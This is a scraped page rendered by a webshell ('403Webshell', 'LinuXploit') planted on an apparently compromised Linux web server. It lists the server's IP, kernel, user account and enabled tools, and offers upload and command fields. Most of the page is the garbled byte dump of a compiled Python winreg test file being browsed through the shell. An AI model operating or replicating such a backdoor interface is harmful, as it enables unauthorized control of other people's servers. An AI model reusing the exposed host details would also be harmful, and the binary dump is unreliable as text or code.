403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.17
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/__pycache__/test_winreg.cpython-36.opt-2.pyc
3

�
�^�T�@s�ddlZddlZddlZddlZddlmZejd�Zddlm	Z	ejddgd�ddl
Tyejejjd	�d
Z
Wneefk
r�dZ
YnXej�dd�Ze	�dkr�d
ndZed8kr�d
ndZdej�fZdeZdeZddefddefddefddefdddddgefd d!efd"d#d:efd%d&d;efd'd(efg	ZGd)d*�d*ej�Z Gd+d,�d,e �Z!ej"e
d-�Gd.d/�d/e ��Z#ej"ed0�Gd1d2�d2e ��Z$d3d4�Z%e&d5k�r�e
�s�e'd6d7�e%�dS)<�N)�support�	threading)�machine�winreg�win)Zrequired_on)�*z--remote��ZAMD64TF�z Python Test Key [%d] - Delete Mez	SOFTWARE\zSOFTWARE\Classes\z	Int Value�-zQword Valuel�w�*M	z
String ValzA string valueZStringExpandzThe path is %path%zMulti-stringZLotsZof�string�valueszRaw Datasbinarydataz
Big String�x�z
Big Binary�xuJapanese 日本u	日本語c@sTeZdZdd�Zdd�Zdefdd�Zdefdd	�Zdd
d�Z	ddd
�Z
dd�ZdS)�BaseWinregTestscCs|jtt�dS)N)�delete_tree�HKEY_CURRENT_USER�
test_key_name)�self�r�0/opt/alt/python36/lib64/python3.6/test_winreg.py�setUp5szBaseWinregTests.setUpcCsvyt||dt�}Wntk
r&dSXx6yt|d�}Wntk
rNPYnX|j||�q*Wt|�t||�dS)Nr)�OpenKey�KEY_ALL_ACCESS�OSError�EnumKeyr�CloseKey�	DeleteKey)r�rootZsubkey�hkeyZ	subsubkeyrrrr:szBaseWinregTests.delete_tree�sub_keycCs,t|ttd�||t�}|j|jdk�|||�}x"tD]\}}}t||d||�q8Wt|�\}	}
}|j|	dd�|j|
dd�t|�\}	}
}|j|	dd�|j|
t	t�d�t
|�}t|�yt|�|jd�Wnt
k
r�YnXt
|�}
|j�yt|
�|jd�Wnt
k
�r&YnXdS)Nz
Default valuerrz"Not the correct number of sub keysz Not the correct number of valueszAIt appears the CloseKey() function does not close the actual key!zBIt appears the key.Close() function does not close the actual key!)�SetValuer�REG_SZ�
assertTrue�handle�	test_data�
SetValueEx�QueryInfoKey�assertEqual�len�intr�failr�Close)r�root_key�	subkeystr�	CreateKey�keyr!�
value_name�
value_data�
value_type�nkeys�nvalues�	since_modZint_sub_keyZint_keyrrr�_write_test_dataJs6

z BaseWinregTests._write_test_datacCs.t|t�}|j|dd�||t�}|||���}d}xDyt||�}Wntk
rXPYnX|j|tkdd�|d}q4W|j|tt�d�x<tD]4\}	}
}t||	�\}}
|j||
d�|j|
|d�q�WWdQRX|j�t	|d�}|j||d	�yt	|d�|j
d
�Wntk
�r YnX|j�dS)Nz
Default valuez+Registry didn't give back the correct valuerTz&Didn't read back the correct test datarz'Didn't read the correct number of itemsz!Could not directly read the valuezRead subkey value wrongz2Was able to get a second key when I only have one!)�
QueryValuerr)�	EnumValuerr&r*�QueryValueExr-rr,)rr.r/r�valr1r!�index�datar2r3r4Zread_valZread_typrrr�_read_test_datats>



zBaseWinregTests._read_test_datacCs�t|tdt�}t||dt�}xtD]\}}}t||�q"Wt|�\}}	}
|j|dd�|j|	dd�|j�t||�yt||�|j	d�Wnt
k
r�YnX|j�t|t�yt|t�}|j	d�Wnt
k
r�YnXdS)Nrzsubkey not empty before deletez Deleting the key twice succeededzCould open the non-existent key)rrrr&ZDeleteValuer(r)r-rr,r)rr.r/r1r!r2r3r4r5r6r7rrr�_delete_test_data�s*



z!BaseWinregTests._delete_test_datacCs(|j||�|j||�|j||�dS)N)r8r?r@)rr.r/rrr�	_test_all�szBaseWinregTests._test_allcCs\t||dtd��}|j|jdk�WdQRXt||dtd��}|j|jdk�WdQRXdS)Nr)r1r!�reserved�access)�CreateKeyExrr$r%�	OpenKeyEx)rr1r!ZckeyZokeyrrr�_test_named_args�s

z BaseWinregTests._test_named_argsN)r!)r!)�__name__�
__module__�__qualname__rrr0r8rr?r@rArFrrrrr3s)(

rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Ze
jed#kd�dd��Zdd�Zdd�Zdd�Zd d!�Zd"S)$�LocalWinregTestscCs|jt�|jtd�dS)Nu
日本-subkey)rAr)rrrr�test_registry_works�s
z$LocalWinregTests.test_registry_workscCs:dd�}|jt|d�dd�}|jt|d�|jt�dS)NcSst||dt�S)Nr)rDr)r1r!rrr�<lambda>�szILocalWinregTests.test_registry_works_extended_functions.<locals>.<lambda>)r0cSst||dt�S)Nr)rE�KEY_READ)r1r!rrrrL�s)r)r8rr?r@)rZckeZokerrr�&test_registry_works_extended_functions�s
z7LocalWinregTests.test_registry_works_extended_functionscCs|jtt�ttt�dS)N)rFrrr)rrrr�test_named_arguments�sz%LocalWinregTests.test_named_argumentscCs2tdt�}|j|jd�|j�|j|jd�dS)Nr)�ConnectRegistry�HKEY_LOCAL_MACHINE�assertNotEqualr%r-r))r�hrrr�,test_connect_registry_to_local_machine_works�s
z=LocalWinregTests.test_connect_registry_to_local_machine_workscCsdd�}|jt|�dS)NcSs
tdt�S)NZabcdefghijkl)rPrrrrrrL�szBLocalWinregTests.test_inexistant_remote_registry.<locals>.<lambda>)�assertRaisesr)rZconnectrrr�test_inexistant_remote_registry�sz0LocalWinregTests.test_inexistant_remote_registrycCs2td�}|jt|�t�|j|tjdd�dS)Nz
%windir%\testZwindirz\test)ZExpandEnvironmentStringsr)�type�str�os�environ)r�rrrr�testExpandEnvironmentStrings�sz-LocalWinregTests.testExpandEnvironmentStringscCsTy,tdt��}|j|jd�t�WdQRXWn"tk
rN|j|jd�YnXdS)Nr)rPrQrRr%rr))rrSrrr�test_context_manager�sz%LocalWinregTests.test_context_managerc
s�d�G�fdd�dtj�}|�}|j�zhtttd��P}xHtd�D]<}t|�\}}}x(t|�D]}t||�}	t	||	d�q`WqDWWdQRXWdd�|j
�tttd�ttt�XdS)NFcseZdZ�fdd�ZdS)z>LocalWinregTests.test_changing_value.<locals>.VeryActiveThreadcsPttt��<}d}dd}x(�s@|r&dn|}|}t|dt|�qWWdQRXdS)NTri�Zchanging_value)r0rrr"r#)rr1Z	use_shortZlong_string�s)�donerr�runszBLocalWinregTests.test_changing_value.<locals>.VeryActiveThread.runN)rGrHrIr`r)r_rr�VeryActiveThreadsraz\changing_valuei�rT)rZThread�startr0rr�ranger(r:r9�joinr)
rraZthreadr1�_�num_subkeys�
num_values�t�i�namer)r_r�test_changing_value�s 

$z$LocalWinregTests.test_changing_valuecCsndd}z@ttt��,}t||td�t|�\}}}t|d�WdQRXWdttdjt|f��ttt�XdS)Nr�r�\)	r0rrr"r#r(rrrd)rrjr1rfrgrhrrr�
test_long_keyszLocalWinregTests.test_long_keycCs^yttd�Wn@tk
rN}z$|jtjtjfkr<|jd��WYdd}~XnXttd�dS)NrzMaccess denied to registry key (are you running in a non-interactive session?)�)r:ZHKEY_PERFORMANCE_DATAr�errnoZEPERMZEACCESZskipTestr;)r�errr�test_dynamic_key(s
z!LocalWinregTests.test_dynamic_key�r	zRequires Windows XPc-Cs�z�ttt��}|j|jd�WdQRXttt�}|j|jd�|jt��t|�WdQRX|jt��t	|�WdQRX|jt��t
|�WdQRX|jt��ttt�WdQRXWdttt�XdS)Nr)
r0rrrRr%rrU�NotImplementedError�DisableReflectionKey�EnableReflectionKey�QueryReflectionKey�DeleteKeyExr)r�ckr1rrr�test_reflection_unsupported6s
z,LocalWinregTests.test_reflection_unsupportedcCsJz8ttt��$}|j|jd�t|ddtd�WdQRXWdttt�XdS)Nr�	test_namel)r0rrrRr%r'�	REG_DWORDr)rryrrr�test_setvalueex_value_rangeJs
z,LocalWinregTests.test_setvalueex_value_rangecCstzbttt��N}|j|jd�d}t|ddt|�t|d�\}}|j|t�|j||�WdQRXWdt	tt�XdS)Nrlr{)
r0rrrRr%r'r|r;r)r)rry�test_val�ret_val�ret_typerrr�test_queryvalueex_return_valueVsz/LocalWinregTests.test_queryvalueex_return_valuecCstzbttt��N}|j|jd�d}t|ddt|�t|d�\}}|j|t�|j||�WdQRXWdt	tt�XdS)Nrr{)
r0rrrRr%r'�
REG_BINARYr;r)r)rryr~rr�rrr�#test_setvalueex_crash_with_none_argfsz4LocalWinregTests.test_setvalueex_crash_with_none_argcCstzbttt��N}|j|jd�d}t|ddt|�t|d�\}}|j|t�|j|d�WdQRXWdt	tt�XdS)NrzA string with a nullr{zA string)
r0rrrRr%r'r#r;r)r)rryr~rr�rrr� test_read_string_containing_nullssz1LocalWinregTests.test_read_string_containing_nullN)rsr	)rGrHrIrKrNrOrTrVr\r]rkrnrr�unittest�
skipUnless�WIN_VERrzr}r�r�r�rrrrrJ�s	 
rJzSkipping remote registry testsc@seZdZdd�ZdS)�RemoteWinregTestscCsttt�}|j|�dS)N)rP�REMOTE_NAMErrA)rZ
remote_keyrrr�test_remote_registry_works�s
z,RemoteWinregTests.test_remote_registry_worksN)rGrHrIr�rrrrr��sr�zx64 specific registry testsc@sLeZdZdd�Zdd�Zejed�dd��Zejed�dd	��Z	d
d�Z
dS)
�Win64WinregTestscCs |jtt�ttttdd�dS)Nr)r1r!rCrB)rFrrrxr)rrrrrO�sz%Win64WinregTests.test_named_argumentsc
CsRttd��>}|jt|��|jt|��|jt|��|jt|��WdQRXdS)NZSoftware)rrQr$rwZassertIsNonervru)rr1rrr�test_reflection_functions�s
z*Win64WinregTests.test_reflection_functionszOS doesn't support reflectionc(Csz�tttdttB��d}|j|jd�tttdttB��}|j|jd�WdQRXt|ddt	d�dd�}|j
t|�WdQRXtttdttB��6}|j|jd�|j
dt|d��t|ddt	d�WdQRXtttdttB��}|j
dt|d��WdQRXWdttttd�XdS)NrroZ32KEYcSstttdttB�S)Nr)rr�test_reflect_key_namerM�KEY_WOW64_64KEYrrrrrL�sz2Win64WinregTests.test_reflection.<locals>.<lambda>Z64KEY)rDrr�r�KEY_WOW64_32KEYrRr%rr'r#rUrr�r)r9rMrx)r�created_keyr1�	open_failrrr�test_reflection�s( z Win64WinregTests.test_reflectioncCs�z�tttdttB��>}t|�}|jt|�t�|j	|�t
|�|jt|��WdQRXdd�}|jt
|�tttdttB��}|j|jd�WdQRXWdttttd�XdS)NrcSstttdttB�S)Nr)rErr�rMr�rrrrrL�sz:Win64WinregTests.test_disable_reflection.<locals>.<lambda>)rDrr�rr�rwr)rW�boolZassertFalserur$rUrrErMrRr%rx)rr�Zdisabledr�r1rrr�test_disable_reflection�s
z(Win64WinregTests.test_disable_reflectionc
Cs$|jt��}ttd�WdQRXdS)NZsome_value_that_does_not_exist)rU�FileNotFoundErrorr9ZHKEY_CLASSES_ROOT)rZctxrrr�test_exception_numbers�sz'Win64WinregTests.test_exception_numbersN)rGrHrIrOr�r�r��HAS_REFLECTIONr�r�r�rrrrr��s

,r�cCstjttt�dS)N)rZrun_unittestrJr�r�rrrr�	test_main�sr��__main__z)Remote registry calls can be tested usingz('test_winreg.py --remote \\machine_name')r
ri@i�?i@)(rY�sysrpr�Ztestr�
import_moduler�platformrr�argvr=r��
IndexError�
ValueErrorZgetwindowsversionr�Z
WIN64_MACHINEr��getpidZ
test_key_baserr�r|Z	REG_QWORDr#Z
REG_EXPAND_SZZREG_MULTI_SZr�r&ZTestCaserrJr�r�r�r�rG�printrrrr�<module>sN

9`


Youez - 2016 - github.com/yon3zu
LinuXploit